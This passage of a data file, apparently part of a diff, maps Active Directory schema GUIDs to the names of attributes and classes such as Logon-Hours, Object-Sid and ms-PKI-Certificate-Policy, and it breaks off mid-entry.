"bf967a43-0de6-11d0-a285-00aa003049e2": "System-Auxiliary-Class", + "6cdc047f-f522-b74a-9a9c-d95ac8cdfda2": "ms-Kds-UseStartTime", + "e263192c-2a02-48df-9792-94f2328781a0": "msSFU-30-Net-Id", + "7d6c0e94-7e20-11d0-afd6-00c04fd930c9": "Category-Id", + "bf9679ab-0de6-11d0-a285-00aa003049e2": "Logon-Hours", + "6c7b5785-3d21-41bf-8a8a-627941544d5a": "ms-DFSR-ComputerReference", + "26d97369-6070-11d1-a9c6-0000f80367c1": "Object-Category", + "e0fa1e62-9b45-11d0-afdd-00c04fd930c9": "System-Flags", + "ae18119f-6390-0045-b32d-97dbc701aef7": "ms-Kds-CreateTime", + "5b06b06a-4cf3-44c0-bd16-43bc10a987da": "ms-DS-Password-Settings-Container", + "963d2732-48be-11d1-a9c3-0000f80367c1": "Certificate-Authority-Object", + "bf9679ac-0de6-11d0-a285-00aa003049e2": "Logon-Workstation", + "adde62c6-1880-41ed-bd3c-30b7d25e14f0": "ms-DFSR-MemberReferenceBL", + "bf9679e5-0de6-11d0-a285-00aa003049e2": "Object-Class", + "bf967a44-0de6-11d0-a285-00aa003049e2": "System-May-Contain", + "9cdfdbc5-0304-4569-95f6-c4f663fe5ae6": "ms-Imaging-Thumbprint-Hash", + "36297dce-656b-4423-ab65-dabb2770819e": "msSFU-30-Domain-Info", + "1677579f-47f3-11d1-a9c3-0000f80367c1": "Certificate-Revocation-List", + "bf9679ad-0de6-11d0-a285-00aa003049e2": "LSA-Creation-Time", + "5eb526d7-d71b-44ae-8cc6-95460052e6ac": "ms-DFSR-ComputerReferenceBL", + "bf9679e6-0de6-11d0-a285-00aa003049e2": "Object-Class-Category", + "bf967a45-0de6-11d0-a285-00aa003049e2": "System-Must-Contain", + "8ae70db5-6406-4196-92fe-f3bb557520a7": "ms-Imaging-Hash-Algorithm", + "da83fc4f-076f-4aea-b4dc-8f4dab9b5993": "ms-DS-Quota-Container", + "2a39c5b1-8960-11d1-aebc-0000f80367c1": "Certificate-Templates", + "bf9679ae-0de6-11d0-a285-00aa003049e2": "LSA-Modified-Count", + "eb20e7d6-32ad-42de-b141-16ad2631b01b": "ms-DFSR-Priority", + "9a7ad94b-ca53-11d1-bbd0-0080c76670c0": "Object-Classes", + "bf967a46-0de6-11d0-a285-00aa003049e2": "System-Only", + "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79": "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity", + "e15334a3-0bf0-4427-b672-11f5d84acc92": "msSFU-30-Network-User", + "548e1c22-dea6-11d0-b010-0000f80367c1": "Class-Display-Name", + "bf9679af-0de6-11d0-a285-00aa003049e2": "Machine-Architecture", + "817cf0b8-db95-4914-b833-5a079ef65764": "ms-DFSR-DeletedPath", + "34aaa216-b699-11d0-afee-0000f80367c1": "Object-Count", + "bf967a47-0de6-11d0-a285-00aa003049e2": "System-Poss-Superiors", + "e362ed86-b728-0842-b27d-2dea7a9df218": "ms-DS-ManagedPassword", + "de91fc26-bd02-4b52-ae26-795999e96fc7": "ms-DS-Quota-Control", + "bf967938-0de6-11d0-a285-00aa003049e2": "Code-Page", + "c9b6358e-bb38-11d0-afef-0000f80367c1": "Machine-Password-Change-Interval", + "53ed9ad1-9975-41f4-83f5-0c061a12553a": "ms-DFSR-DeletedSizeInMb", + "bf9679e7-0de6-11d0-a285-00aa003049e2": "Object-Guid", + "bf967a49-0de6-11d0-a285-00aa003049e2": "Telephone-Number", + "0e78295a-c6d3-0a40-b491-d62251ffa0a6": "ms-DS-ManagedPasswordId", + "faf733d0-f8eb-4dcf-8d75-f1753af6a50b": "msSFU-30-NIS-Map-Config", + "bf96793b-0de6-11d0-a285-00aa003049e2": "COM-ClassID", + "bf9679b2-0de6-11d0-a285-00aa003049e2": "Machine-Role", + "5ac48021-e447-46e7-9d23-92c0c6a90dfb": "ms-DFSR-ReadOnly", + "bf9679e8-0de6-11d0-a285-00aa003049e2": "Object-Sid", + "bf967a4a-0de6-11d0-a285-00aa003049e2": "Teletex-Terminal-Identifier", + "d0d62131-2d4a-d04f-99d9-1c63646229a4": "ms-DS-ManagedPasswordPreviousId", + "ce206244-5827-4a86-ba1c-1c0c386c1b64": "ms-DS-Managed-Service-Account", + "281416d9-1968-11d0-a28f-00aa003049e2": "COM-CLSID", + "80a67e4f-9f22-11d0-afdd-00c04fd930c9": "Machine-Wide-Policy", + "db7a08e7-fc76-4569-a45f-f5ecb66a88b5": "ms-DFSR-CachePolicy", + "16775848-47f3-11d1-a9c3-0000f80367c1": "Object-Version", + "bf967a4b-0de6-11d0-a285-00aa003049e2": "Telex-Number", + "f8758ef7-ac76-8843-a2ee-a26b4dcaf409": "ms-DS-ManagedPasswordInterval", + "1cb81863-b822-4379-9ea2-5ff7bdc6386d": "ms-net-ieee-80211-GroupPolicy", + "bf96793c-0de6-11d0-a285-00aa003049e2": "COM-InterfaceID", + "0296c120-40da-11d1-a9c0-0000f80367c1": "Managed-By", + "4c5d607a-ce49-444a-9862-82a95f5d1fcc": "ms-DFSR-MinDurationCacheInMin", + "bf9679ea-0de6-11d0-a285-00aa003049e2": "OEM-Information", + "0296c121-40da-11d1-a9c0-0000f80367c1": "Telex-Primary", + "888eedd6-ce04-df40-b462-b8a50e41ba38": "ms-DS-GroupMSAMembership", + "281416dd-1968-11d0-a28f-00aa003049e2": "COM-Other-Prog-Id", + "0296c124-40da-11d1-a9c0-0000f80367c1": "Managed-Objects", + "2ab0e48d-ac4e-4afc-83e5-a34240db6198": "ms-DFSR-MaxAgeInCacheInMin", + "bf9679ec-0de6-11d0-a285-00aa003049e2": "OM-Object-Class", + "ed9de9a0-7041-11d2-9905-0000f87a57d4": "Template-Roots", + "55872b71-c4b2-3b48-ae51-4095f91ec600": "ms-DS-Transformation-Rules", + "99a03a6a-ab19-4446-9350-0cb878ed2d9b": "ms-net-ieee-8023-GroupPolicy", + "bf96793d-0de6-11d0-a285-00aa003049e2": "COM-ProgID", + "bf9679b5-0de6-11d0-a285-00aa003049e2": "Manager", + "43061ac1-c8ad-4ccc-b785-2bfac20fc60a": "ms-FVE-RecoveryPassword", + "bf9679ed-0de6-11d0-a285-00aa003049e2": "OM-Syntax", + "6db69a1c-9422-11d1-aebd-0000f80367c1": "Terminal-Server", + "86284c08-0c6e-1540-8b15-75147d23d20d": "ms-DS-Ingress-Claims-Transformation-Policy", + "fa85c591-197f-477e-83bd-ea5a43df2239": "ms-DFSR-LocalSettings", + "281416db-1968-11d0-a28f-00aa003049e2": "COM-Treat-As-Class-Id", + "bf9679b7-0de6-11d0-a285-00aa003049e2": "MAPI-ID", + "85e5a5cf-dcee-4075-9cfd-ac9db6a2f245": "ms-FVE-VolumeGuid", + "ddac0cf3-af8f-11d0-afeb-00c04fd930c9": "OMT-Guid", + "f0f8ffa7-1191-11d0-a060-00aa006c33ed": "Text-Country", + "c137427e-9a73-b040-9190-1b095bb43288": "ms-DS-Egress-Claims-Transformation-Policy", + "ea715d30-8f53-40d0-bd1e-6109186d782c": "ms-FVE-RecoveryInformation", + "281416de-1968-11d0-a28f-00aa003049e2": "COM-Typelib-Id", + "bf9679b9-0de6-11d0-a285-00aa003049e2": "Marshalled-Interface", + "1fd55ea8-88a7-47dc-8129-0daa97186a54": "ms-FVE-KeyPackage", + "1f0075fa-7e40-11d0-afd6-00c04fd930c9": "OMT-Indx-Guid", + "a8df7489-c5ea-11d1-bbcb-0080c76670c0": "Text-Encoded-OR-Address", + "d5006229-9913-2242-8b17-83761d1e0e5b": "ms-DS-TDO-Egress-BL", + "e11505d7-92c4-43e7-bf5c-295832ffc896": "ms-DFSR-Subscriber", + "281416da-1968-11d0-a28f-00aa003049e2": "COM-Unique-LIBID", + "e48e64e0-12c9-11d3-9102-00c04fd91ab1": "Mastered-By", + "f76909bc-e678-47a0-b0b3-f86a0044c06d": "ms-FVE-RecoveryGuid", + "3e978925-8c01-11d0-afda-00c04fd930c9": "Operating-System", + "ddac0cf1-af8f-11d0-afeb-00c04fd930c9": "Time-Refresh", + "5a5661a1-97c6-544b-8056-e430fe7bc554": "ms-DS-TDO-Ingress-BL", + "25173408-04ca-40e8-865e-3f9ce9bf1bd3": "ms-DFS-Deleted-Link-v2", + "bf96793e-0de6-11d0-a285-00aa003049e2": "Comment", + "bf9679bb-0de6-11d0-a285-00aa003049e2": "Max-Pwd-Age", + "aa4e1a6d-550d-4e05-8c35-4afcb917a9fe": "ms-TPM-OwnerInformation", + "bd951b3c-9c96-11d0-afdd-00c04fd930c9": "Operating-System-Hotfix", + "ddac0cf0-af8f-11d0-afeb-00c04fd930c9": "Time-Vol-Change", + "0bb49a10-536b-bc4d-a273-0bab0dd4bd10": "ms-DS-Transformation-Rules-Compiled", + "67212414-7bcc-4609-87e0-088dad8abdee": "ms-DFSR-Subscription", + "bf96793f-0de6-11d0-a285-00aa003049e2": "Common-Name", + "bf9679bc-0de6-11d0-a285-00aa003049e2": "Max-Renew-Age", + "0e0d0938-2658-4580-a9f6-7a0ac7b566cb": "ms-ieee-80211-Data", + "3e978927-8c01-11d0-afda-00c04fd930c9": "Operating-System-Service-Pack", + "bf967a55-0de6-11d0-a285-00aa003049e2": "Title", + "693f2006-5764-3d4a-8439-58f04aab4b59": "ms-DS-Applies-To-Resource-Types", + "7769fb7a-1159-4e96-9ccd-68bc487073eb": "ms-DFS-Link-v2", + "f0f8ff88-1191-11d0-a060-00aa006c33ed": "Company", + "bf9679bd-0de6-11d0-a285-00aa003049e2": "Max-Storage", + "6558b180-35da-4efe-beed-521f8f48cafb": "ms-ieee-80211-Data-Type", + "3e978926-8c01-11d0-afda-00c04fd930c9": "Operating-System-Version", + "16c3a860-1273-11d0-a060-00aa006c33ed": "Tombstone-Lifetime", + "24977c8c-c1b7-3340-b4f6-2b375eb711d7": "ms-DS-RID-Pool-Allocation-Enabled", + "7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6": "ms-DFSR-GlobalSettings", + "bf967943-0de6-11d0-a285-00aa003049e2": "Content-Indexing-Allowed", + "bf9679be-0de6-11d0-a285-00aa003049e2": "Max-Ticket-Age", + "7f73ef75-14c9-4c23-81de-dd07a06f9e8b": "ms-ieee-80211-ID", + "bf9679ee-0de6-11d0-a285-00aa003049e2": "Operator-Count", + "c1dc867c-a261-11d1-b606-0000f80367c1": "Transport-Address-Attribute", + "9709eaaf-49da-4db2-908a-0446e5eab844": "ms-DS-cloudExtensionAttribute1", + "da73a085-6e64-4d61-b064-015d04164795": "ms-DFS-Namespace-Anchor", + "4d8601ee-ac85-11d0-afe3-00c04fd930c9": "Context-Menu", + "bf9679bf-0de6-11d0-a285-00aa003049e2": "May-Contain", + "8a5c99e9-2230-46eb-b8e8-e59d712eb9ee": "ms-IIS-FTP-Dir", + "963d274d-48be-11d1-a9c3-0000f80367c1": "Option-Description", + "26d97372-6070-11d1-a9c6-0000f80367c1": "Transport-DLL-Name", + "f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5": "ms-DS-cloudExtensionAttribute2", + "1c332fe0-0c2a-4f32-afca-23c5e45a9e77": "ms-DFSR-ReplicationGroup", + "6da8a4fc-0e52-11d0-a286-00aa003049e2": "Control-Access-Rights", + "11b6cc8b-48c4-11d1-a9c3-0000f80367c1": "meetingAdvertiseScope", + "2a7827a4-1483-49a5-9d84-52e3812156b4": "ms-IIS-FTP-Root", + "19195a53-6da0-11d0-afd3-00c04fd930c9": "Options", + "26d97374-6070-11d1-a9c6-0000f80367c1": "Transport-Type", + "82f6c81a-fada-4a0d-b0f7-706d46838eb5": "ms-DS-cloudExtensionAttribute3", + "21cb8628-f3c3-4bbf-bff6-060b2d8f299a": "ms-DFS-Namespace-v2", + "bf967944-0de6-11d0-a285-00aa003049e2": "Cost", + "11b6cc83-48c4-11d1-a9c3-0000f80367c1": "meetingApplication", + "51583ce9-94fa-4b12-b990-304c35b18595": "ms-Imaging-PSP-Identifier", + "963d274e-48be-11d1-a9c3-0000f80367c1": "Options-Location", + "8fd044e3-771f-11d1-aeae-0000f80367c1": "Treat-As-Leaf", + "9cbf3437-4e6e-485b-b291-22b02554273f": "ms-DS-cloudExtensionAttribute4", + "64759b35-d3a1-42e4-b5f1-a3de162109b3": "ms-DFSR-Content", + "508ca374-a511-4e4e-9f4f-856f61a6b7e4": "Address-Book-Roots2", + "5fd42471-1262-11d0-a060-00aa006c33ed": "Country-Code", + "11b6cc92-48c4-11d1-a9c3-0000f80367c1": "meetingBandwidth", + "7b6760ae-d6ed-44a6-b6be-9de62c09ec67": "ms-Imaging-PSP-String", + "bf9679ef-0de6-11d0-a285-00aa003049e2": "Organization-Name", + "28630ebd-41d5-11d1-a9c1-0000f80367c1": "Tree-Name", + "2915e85b-e347-4852-aabb-22e5a651c864": "ms-DS-cloudExtensionAttribute5", + "4898f63d-4112-477c-8826-3ca00bd8277d": "Global-Address-List2", + "bf967945-0de6-11d0-a285-00aa003049e2": "Country-Name", + "11b6cc93-48c4-11d1-a9c3-0000f80367c1": "meetingBlob", + "35697062-1eaf-448b-ac1e-388e0be4fdee": "ms-net-ieee-80211-GP-PolicyGUID", + "bf9679f0-0de6-11d0-a285-00aa003049e2": "Organizational-Unit-Name", + "80a67e5a-9f22-11d0-afdd-00c04fd930c9": "Trust-Attributes", + "60452679-28e1-4bec-ace3-712833361456": "ms-DS-cloudExtensionAttribute6", + "4937f40d-a6dc-4d48-97ca-06e5fbfd3f16": "ms-DFSR-ContentSet", + "b1cba91a-0682-4362-a659-153e201ef069": "Template-Roots2", + "2b09958a-8931-11d1-aebc-0000f80367c1": "Create-Dialog", + "11b6cc87-48c4-11d1-a9c3-0000f80367c1": "meetingContactInfo", + "9c1495a5-4d76-468e-991e-1433b0a67855": "ms-net-ieee-80211-GP-PolicyData", + "28596019-7349-4d2f-adff-5a629961f942": "organizationalStatus", + "bf967a59-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Incoming", + "4a7c1319-e34e-40c2-9d00-60ff7890f207": "ms-DS-cloudExtensionAttribute7", + "2df90d73-009f-11d2-aa4c-00c04fd7d83a": "Create-Time-Stamp", + "11b6cc7e-48c4-11d1-a9c3-0000f80367c1": "meetingDescription", + "0f69c62e-088e-4ff5-a53a-e923cec07c0a": "ms-net-ieee-80211-GP-PolicyReserved", + "5fd424ce-1262-11d0-a060-00aa006c33ed": "Original-Display-Table", + "bf967a5f-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Outgoing", + "3cd1c514-8449-44ca-81c0-021781800d2a": "ms-DS-cloudExtensionAttribute8", + "04828aa9-6e42-4e80-b962-e2fe00754d17": "ms-DFSR-Topology", + "b8442f58-c490-4487-8a9d-d80b883271ad": "ms-DS-Claim-Type-Property-Base", + "2b09958b-8931-11d1-aebc-0000f80367c1": "Create-Wizard-Ext", + "11b6cc91-48c4-11d1-a9c3-0000f80367c1": "meetingEndTime", + "94a7b05a-b8b2-4f59-9c25-39e69baa1684": "ms-net-ieee-8023-GP-PolicyGUID", + "5fd424cf-1262-11d0-a060-00aa006c33ed": "Original-Display-Table-MSDOS", + "bf967a5c-0de6-11d0-a285-00aa003049e2": "Trust-Direction", + "0a63e12c-3040-4441-ae26-cd95af0d247e": "ms-DS-cloudExtensionAttribute9", + "bf967946-0de6-11d0-a285-00aa003049e2": "Creation-Time", + "11b6cc7c-48c4-11d1-a9c3-0000f80367c1": "meetingID", + "8398948b-7457-4d91-bd4d-8d7ed669c9f7": "ms-net-ieee-8023-GP-PolicyData", + "bf9679f1-0de6-11d0-a285-00aa003049e2": "Other-Login-Workstations", + "b000ea7a-a086-11d0-afdd-00c04fd930c9": "Trust-Parent", + "670afcb3-13bd-47fc-90b3-0a527ed81ab7": "ms-DS-cloudExtensionAttribute10", + "4229c897-c211-437c-a5ae-dbf705b696e5": "ms-DFSR-Member", + "36093235-c715-4821-ab6a-b56fb2805a58": "ms-DS-Claim-Types", + "4d8601ed-ac85-11d0-afe3-00c04fd930c9": "Creation-Wizard", + "11b6cc89-48c4-11d1-a9c3-0000f80367c1": "meetingIP", + "d3c527c7-2606-4deb-8cfd-18426feec8ce": "ms-net-ieee-8023-GP-PolicyReserved", + "0296c123-40da-11d1-a9c0-0000f80367c1": "Other-Mailbox", + "bf967a5d-0de6-11d0-a285-00aa003049e2": "Trust-Partner", + "9e9ebbc8-7da5-42a6-8925-244e12a56e24": "ms-DS-cloudExtensionAttribute11", + "7bfdcb85-4807-11d1-a9c3-0000f80367c1": "Creator", + "11b6cc8e-48c4-11d1-a9c3-0000f80367c1": "meetingIsEncrypted", + "3164c36a-ba26-468c-8bda-c1e5cc256728": "ms-PKI-Cert-Template-OID", + "bf9679f2-0de6-11d0-a285-00aa003049e2": "Other-Name", + "bf967a5e-0de6-11d0-a285-00aa003049e2": "Trust-Posix-Offset", + "3c01c43d-e10b-4fca-92b2-4cf615d5b09a": "ms-DS-cloudExtensionAttribute12", + "e58f972e-64b5-46ef-8d8b-bbc3e1897eab": "ms-DFSR-Connection", + "7a4a4584-b350-478f-acd6-b4b852d82cc0": "ms-DS-Resource-Properties", + "963d2737-48be-11d1-a9c3-0000f80367c1": "CRL-Object", + "11b6cc7f-48c4-11d1-a9c3-0000f80367c1": "meetingKeyword", + "dbd90548-aa37-4202-9966-8c537ba5ce32": "ms-PKI-Certificate-Application-Policy", + "1ea64e5d-ac0f-11d2-90df-00c04fd91ab1": "Other-Well-Known-Objects", + "bf967a60-0de6-11d0-a285-00aa003049e2": "Trust-Type", + "28be464b-ab90-4b79-a6b0-df437431d036": "ms-DS-cloudExtensionAttribute13", + "963d2731-48be-11d1-a9c3-0000f80367c1": "CRL-Partitioned-Revocation-List", + "11b6cc84-48c4-11d1-a9c3-0000f80367c1": "meetingLanguage", + "ea1dddc4-60ff-416e-8cc0-17cee534bce7": "ms-PKI-Certificate-Name-Flag", + "bf9679f3-0de6-11d0-a285-00aa003049e2": "Owner", + "bf967a61-0de6-11d0-a285-00aa003049e2": "UAS-Compat", + "cebcb6ba-6e80-4927-8560-98feca086a9f": "ms-DS-cloudExtensionAttribute14", + "7b9a2d92-b7eb-4382-9772-c3e0f9baaf94": "ms-ieee-80211-Policy", + "81a3857c-5469-4d8f-aae6-c27699762604": "ms-DS-Claim-Type", + "167757b2-47f3-11d1-a9c3-0000f80367c1": "Cross-Certificate-Pair", + "11b6cc80-48c4-11d1-a9c3-0000f80367c1": "meetingLocation", + "38942346-cc5b-424b-a7d8-6ffd12029c5f": "ms-PKI-Certificate-Policy", + "7d6c0e99-7e20-11d0-afd6-00c04fd930c9": "Package-Flags", + "0bb0fca0-1e89-429f-901a-1413894d9f59": "uid", + "aae4d537-8af0-4daa-9cc6-62eadb84ff03": "ms-DS-cloudExtensionAttribute15", + "1f0075fe-7e40-11d0-afd6-00c04fd930c9": "Curr-Machine-Id", + "11b6cc85-48c4-11d1-a9c3-0000f80367c1": "meetingMaxParticipants", + "b7ff5a38-0818-42b0-8110-d3d154c97f24": "ms-PKI-Credential-Roaming-Tokens", + "7d6c0e98-7e20-11d0-afd6-00c04fd930c9": "Package-Name", + "bf967a64-0de6-11d0-a285-00aa003049e2": "UNC-Name", + "9581215b-5196-4053-a11e-6ffcafc62c4d": "ms-DS-cloudExtensionAttribute16", + "a0ed2ac1-970c-4777-848e-ec63a0ec44fc": "ms-Imaging-PSPs", + "5b283d5e-8404-4195-9339-8450188c501a": "ms-DS-Resource-Property", + "1f0075fc-7e40-11d0-afd6-00c04fd930c9": "Current-Location", + "11b6cc7d-48c4-11d1-a9c3-0000f80367c1": "meetingName", + "d15ef7d8-f226-46db-ae79-b34e560bd12c": "ms-PKI-Enrollment-Flag", + "7d6c0e96-7e20-11d0-afd6-00c04fd930c9": "Package-Type", + "bf9679e1-0de6-11d0-a285-00aa003049e2": "Unicode-Pwd", + "3d3c6dda-6be8-4229-967e-2ff5bb93b4ce": "ms-DS-cloudExtensionAttribute17", + "963d273f-48be-11d1-a9c3-0000f80367c1": "Current-Parent-CA", + "11b6cc86-48c4-11d1-a9c3-0000f80367c1": "meetingOriginator", + "f22bd38f-a1d0-4832-8b28-0331438886a6": "ms-PKI-Enrollment-Servers", + "5245801b-ca6a-11d0-afff-0000f80367c1": "Parent-CA", + "ba0184c7-38c5-4bed-a526-75421470580c": "uniqueIdentifier", + "88e73b34-0aa6-4469-9842-6eb01b32a5b5": "ms-DS-cloudExtensionAttribute18", + "1f7c257c-b8a3-4525-82f8-11ccc7bee36e": "ms-Imaging-PostScanProcess", + "72e3d47a-b342-4d45-8f56-baff803cabf9": "ms-DS-Resource-Property-List", + "bf967947-0de6-11d0-a285-00aa003049e2": "Current-Value", + "11b6cc88-48c4-11d1-a9c3-0000f80367c1": "meetingOwner", + "e96a63f5-417f-46d3-be52-db7703c503df": "ms-PKI-Minimal-Key-Size", + "963d2733-48be-11d1-a9c3-0000f80367c1": "Parent-CA-Certificate-Chain", + "8f888726-f80a-44d7-b1ee-cb9df21392c8": "uniqueMember", + "0975fe99-9607-468a-8e18-c800d3387395": "ms-DS-cloudExtensionAttribute19", + "bf96799c-0de6-11d0-a285-00aa003049e2": "DBCS-Pwd", + "11b6cc81-48c4-11d1-a9c3-0000f80367c1": "meetingProtocol", + "8c9e1288-5028-4f4f-a704-76d026f246ef": "ms-PKI-OID-Attribute", + "2df90d74-009f-11d2-aa4c-00c04fd7d83a": "Parent-GUID", + "50950839-cc4c-4491-863a-fcf942d684b7": "unstructuredAddress", + "f5446328-8b6e-498d-95a8-211748d5acdc": "ms-DS-cloudExtensionAttribute20", + "a16f33c7-7fd6-4828-9364-435138fda08d": "ms-Print-ConnectionPolicy", + "b72f862b-bb25-4d5d-aa51-62c59bdf90ae": "ms-SPP-Activation-Objects-Container", + "bf967948-0de6-11d0-a285-00aa003049e2": "Default-Class-Store", + "11b6cc8d-48c4-11d1-a9c3-0000f80367c1": "meetingRating", + "5f49940e-a79f-4a51-bb6f-3d446a54dc6b": "ms-PKI-OID-CPS", + "28630ec0-41d5-11d1-a9c1-0000f80367c1": "Partial-Attribute-Deletion-List", + "9c8ef177-41cf-45c9-9673-7716c0c8901b": "unstructuredName", + "6b3d6fda-0893-43c4-89fb-1fb52a6616a9": "ms-DS-Issuer-Certificates", + "720bc4e2-a54a-11d0-afdf-00c04fd930c9": "Default-Group", + "11b6cc8f-48c4-11d1-a9c3-0000f80367c1": "meetingRecurrence", + "7d59a816-bb05-4a72-971f-5c1331f67559": "ms-PKI-OID-LocalizedName", + "19405b9e-3cfa-11d1-a9c0-0000f80367c1": "Partial-Attribute-Set", + "d9e18312-8939-11d1-aebc-0000f80367c1": "Upgrade-Product-Code", + "ca3286c2-1f64-4079-96bc-e62b610e730f": "ms-DS-Registration-Quota", + "37cfd85c-6719-4ad8-8f9e-8678ba627563": "ms-PKI-Enterprise-Oid", + "51a0e68c-0dc5-43ca-935d-c1c911bf2ee5": "ms-SPP-Activation-Object", + "b7b13116-b82e-11d0-afee-0000f80367c1": "Default-Hiding-Value", + "11b6cc8a-48c4-11d1-a9c3-0000f80367c1": "meetingScope", + "04c4da7a-e114-4e69-88de-e293f2d3b395": "ms-PKI-OID-User-Notice", + "07383084-91df-11d1-aebc-0000f80367c1": "Pek-Key-Change-Interval", + "032160bf-9824-11d1-aec0-0000f80367c1": "UPN-Suffixes", + "0a5caa39-05e6-49ca-b808-025b936610e7": "ms-DS-Maximum-Registration-Inactivity-Period", + "bf96799f-0de6-11d0-a285-00aa003049e2": "Default-Local-Policy-Object", + "11b6cc90-48c4-11d1-a9c3-0000f80367c1": "meetingStartTime", + "bab04ac2-0435-4709-9307-28380e7c7001": "ms-PKI-Private-Key-Flag", + "07383083-91df-11d1-aebc-0000f80367c1": "Pek-List", + "bf967a68-0de6-11d0-a285-00aa003049e2": "User-Account-Control", + "e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762": "ms-DS-Device-Location", + "26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb": "ms-PKI-Key-Recovery-Agent", + "e027a8bd-6456-45de-90a3-38593877ee74": "ms-TPM-Information-Objects-Container", + "26d97367-6070-11d1-a9c6-0000f80367c1": "Default-Object-Category", + "11b6cc82-48c4-11d1-a9c3-0000f80367c1": "meetingType", + "0cd8711f-0afc-4926-a4b1-09b08d3d436c": "ms-PKI-Site-Name", + "963d273c-48be-11d1-a9c3-0000f80367c1": "Pending-CA-Certificates", + "bf967a69-0de6-11d0-a285-00aa003049e2": "User-Cert", + "617626e9-01eb-42cf-991f-ce617982237e": "ms-DS-Registered-Owner", + "281416c8-1968-11d0-a28f-00aa003049e2": "Default-Priority", + "11b6cc8c-48c4-11d1-a9c3-0000f80367c1": "meetingURL", + "9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7": "ms-PKI-Supersede-Templates", + "963d273e-48be-11d1-a9c3-0000f80367c1": "Pending-Parent-CA", + "bf967a6a-0de6-11d0-a285-00aa003049e2": "User-Comment", + "0449160c-5a8e-4fc8-b052-01c0f6e48f02": "ms-DS-Registered-Users", + "05f6c878-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLServer", + "85045b6a-47a6-4243-a7cc-6890701f662c": "ms-TPM-Information-Object", + "807a6d30-1669-11d0-a064-00aa006c33ed": "Default-Security-Descriptor", + "bf9679c0-0de6-11d0-a285-00aa003049e2": "Member", + "13f5236c-1884-46b1-b5d0-484e38990d58": "ms-PKI-Template-Minor-Revision", + "5fd424d3-1262-11d0-a060-00aa006c33ed": "Per-Msg-Dialog-Display-Table", + "bf967a6d-0de6-11d0-a285-00aa003049e2": "User-Parameters", + "a34f983b-84c6-4f0c-9050-a3a14a1d35a4": "ms-DS-Approximate-Last-Logon-Time-Stamp", + "167757b5-47f3-11d1-a9c3-0000f80367c1": "Delta-Revocation-List", + "0296c122-40da-11d1-a9c0-0000f80367c1": "MHS-OR-Address", + "0c15e9f5-491d-4594-918f-32813a091da9": "ms-PKI-Template-Schema-Version", + "5fd424d4-1262-11d0-a060-00aa006c33ed": "Per-Recip-Dialog-Display-Table", + "bf967a6e-0de6-11d0-a285-00aa003049e2": "User-Password", + "22a95c0e-1f83-4c82-94ce-bea688cfc871": "ms-DS-Is-Enabled", + "0c7e18ea-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPServer", + "ef2fc3ed-6e18-415b-99e4-3114a8cb124b": "ms-DNS-Server-Settings", + "bf96794f-0de6-11d0-a285-00aa003049e2": "Department", + "bf9679c2-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Age", + "3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a": "ms-PKI-RA-Application-Policies", + "16775858-47f3-11d1-a9c3-0000f80367c1": "Personal-Title", + "11732a8a-e14d-4cc5-b92f-d93f51c6d8e4": "userClass", + "100e454d-f3bb-4dcb-845f-8d5edc471c59": "ms-DS-Device-OS-Type", + "be9ef6ee-cbc7-4f22-b27b-96967e7ee585": "departmentNumber", + "bf9679c3-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Length", + "d546ae22-0951-4d47-817e-1c9f96faad46": "ms-PKI-RA-Policies", + "0296c11d-40da-11d1-a9c0-0000f80367c1": "Phone-Fax-Other", + "23998ab5-70f8-4007-a4c1-a84a38311f9a": "userPKCS12", + "70fb8c63-5fab-4504-ab9d-14b329a8a7f8": "ms-DS-Device-OS-Version", + "11d43c5c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLRepository", + "555c21c3-a136-455a-9397-796bbd358e25": "ms-Authz-Central-Access-Policies", + "bf967950-0de6-11d0-a285-00aa003049e2": "Description", + "bf9679c4-0de6-11d0-a285-00aa003049e2": "Min-Ticket-Age", + "fe17e04b-937d-4f7e-8e0e-9292c8d5683e": "ms-PKI-RA-Signature", + "f0f8ffa2-1191-11d0-a060-00aa006c33ed": "Phone-Home-Other", + "28630ebb-41d5-11d1-a9c1-0000f80367c1": "User-Principal-Name", + "90615414-a2a0-4447-a993-53409599b74e": "ms-DS-Device-Physical-IDs", + "eea65906-8ac6-11d0-afda-00c04fd930c9": "Desktop-Profile", + "bf9679c5-0de6-11d0-a285-00aa003049e2": "Modified-Count", + "6617e4ac-a2f1-43ab-b60c-11fbd1facf05": "ms-PKI-RoamingTimeStamp", + "f0f8ffa1-1191-11d0-a060-00aa006c33ed": "Phone-Home-Primary", + "9a9a021f-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder", + "c30181c7-6342-41fb-b279-f7c566cbe0a7": "ms-DS-Device-ID", + "17c2f64e-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLPublication", + "99bb1b7a-606d-4f8b-800e-e15be554ca8d": "ms-Authz-Central-Access-Rules", + "974c9a02-33fc-11d3-aa6e-00c04f8eedd8": "msExch-Proxy-Gen-Options", + "bf967951-0de6-11d0-a285-00aa003049e2": "Destination-Indicator", + "bf9679c6-0de6-11d0-a285-00aa003049e2": "Modified-Count-At-Last-Prom", + "b3f93023-9239-4f7c-b99c-6745d87adbc2": "ms-PKI-DPAPIMasterKeys", + "4d146e4b-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Other", + "9a9a0220-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder-Other", + "ef65695a-f179-4e6a-93de-b01e06681cfb": "ms-DS-Device-Object-Version", + "963d2750-48be-11d1-a9c3-0000f80367c1": "dhcp-Classes", + "9a7ad94a-ca53-11d1-bbd0-0080c76670c0": "Modify-Time-Stamp", + "b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7": "ms-PKI-AccountCredentials", + "4d146e4a-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Primary", + "e16a9db2-403c-11d1-a9c0-0000f80367c1": "User-SMIME-Certificate", + "862166b6-c941-4727-9565-48bfff2941de": 